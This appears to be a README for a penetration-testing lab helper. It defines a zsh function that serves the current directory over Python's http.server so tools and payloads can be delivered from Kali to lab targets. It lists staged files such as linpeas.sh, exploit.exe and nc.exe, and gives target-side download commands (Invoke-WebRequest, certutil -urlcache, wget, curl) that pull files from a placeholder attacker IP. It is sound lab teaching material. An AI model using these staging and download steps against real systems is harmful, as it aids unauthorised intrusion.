A minimal HTTP file transfer setup for penetration testing labs.
Designed for reliable file delivery from Kali to targets in local labs and VPN-based environments (TryHackMe / HTB).
This setup prioritizes speed, simplicity, and reliability during lab and exam-style scenarios.
- Deliver files from Kali to a target
- Ideal for:
- Payload delivery
- Tool transfer
- Script staging
- Works for:
- Local labs (virt-manager / NAT)
- TryHackMe / HTB targets via VPN (
tun0)
- No authentication
- No system-wide installs
- Minimal noise and failure points
- Uses Pythonβs built-in
http.server - Started via a shell alias (
httpstart) - Server listens on
0.0.0.0(all interfaces) - Shares only the current working directory (
pwd) - Alias prints both LAN and VPN IPs for clarity
- Intentionally unauthenticated for lab speed and simplicity
No installation is required.
Python 3 is already present on Kali Linux.
Open your shell configuration:
nano ~/.zshrcAdd the following block:
# ===============================
# Quick HTTP Server (python)
# ===============================
httpstart() {
local PORT="${1:-8000}"
local LANIP TUNIP
LANIP="$(hostname -I | awk '{print $1}')"
TUNIP="$(ip -4 -o addr show dev tun0 2>/dev/null | awk '{print $4}' | cut -d/ -f1)"
echo "[+] HTTP server starting"
echo " Directory : $(pwd)"
[[ -n "$LANIP" ]] && echo " LAN : http://$LANIP:$PORT/"
[[ -n "$TUNIP" ]] && echo " VPN : http://$TUNIP:$PORT/"
echo " Stop with : CTRL+C"
echo
python3 -m http.server "$PORT"
}Reload your shell:
source ~/.zshrchttpstart- Port:
8000 - Directory: current working directory (
pwd)
httpstart 8080Change directory before starting the server.
Only the directory from which httpstart is executed.
Example:
~/loot/
βββ linpeas.sh
βββ exploit.exe
βββ tools/
βββ nc.exe
Start the server:
cd ~/loot
httpstartAvailable to the target:
http://<KALI_IP>:8000/linpeas.sh
http://<KALI_IP>:8000/exploit.exe
http://<KALI_IP>:8000/tools/nc.exe
Nothing outside this directory is exposed.
Invoke-WebRequest http://<KALI_IP>:8000/file.exe -OutFile file.execertutil -urlcache -f http://<KALI_IP>:8000/file.exe file.exe
wget http://<KALI_IP>:8000/fileor:
curl -O http://<KALI_IP>:8000/fileUse the LAN IP:
192.168.122.x
Use the VPN IP (tun0):
10.x.x.x
192.168.x.x
The server listens on all interfaces (0.0.0.0).
The client must connect to an IP it can actually reach.
-
Prefer HTTP whenever a target can download files
-
Use FTP only when upload capability is required
-
Avoid shared folders and GUI copy/paste shortcuts
-
Choose transfer methods based on:
- Routing
- VPN reachability
- Reliability
- Target limitations
- Zero setup
- One command (
httpstart) - Shares only the current working directory
- Clean, reliable, and low-noise
- Ideal for VPN-based penetration testing labs